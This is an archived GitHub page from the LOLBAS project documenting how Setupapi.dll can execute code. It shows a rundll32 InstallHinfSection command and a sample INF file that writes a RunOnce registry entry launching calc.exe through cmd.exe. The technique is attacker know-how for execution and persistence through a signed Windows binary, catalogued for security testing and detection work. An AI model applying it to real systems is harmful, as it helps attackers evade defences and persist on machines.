Skip to content
This repository has been archived by the owner on Dec 11, 2018. It is now read-only.

Latest commit

 

History

History
49 lines (37 loc) · 1 KB

Setupapi.md

File metadata and controls

49 lines (37 loc) · 1 KB

UPDATE BOOKMARKS - PROJECT MOVED TO A DEDICATED PROJECT SITE. THIS SITE WILL NOT BE UPDATED ANYMORE, BUT WILL BE KEPT FOR HISTORICAL REASONS.

New site: https://github.com/LOLBAS-Project/LOLBAS Web portal: https://lolbas-project.github.io/

Setupapi.dll

  • Functions: Execute
rundll32 setupapi,InstallHinfSection DefaultInstall 132 c:\temp\calc.inf

Acknowledgements:

  • Pierre-Alexandre Braeken - @pabraeken

Code sample: *

Resources:

Full path:

c:\windows\system32\Setupapi.dll
c:\windows\sysWOW64\Setupapi.dll

Notes: calc.inf

; DRIVER.INF
; Copyright (c) Microsoft Corporation.  All rights reserved.
 
[Version]
Signature = "$CHICAGO$"
Class=61883
ClassGuid={7EBEFBC0-3200-11d2-B4C2-00A0C9697D17}
Provider=%Msft%
DriverVer=06/21/2006,6.1.7600.16385
 
[DestinationDirs]
DefaultDestDir = 1
 
[DefaultInstall]
AddReg = CalcStart

[CalcStart]
HKLM,Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce,Install,,cmd.exe /c """calc.exe"""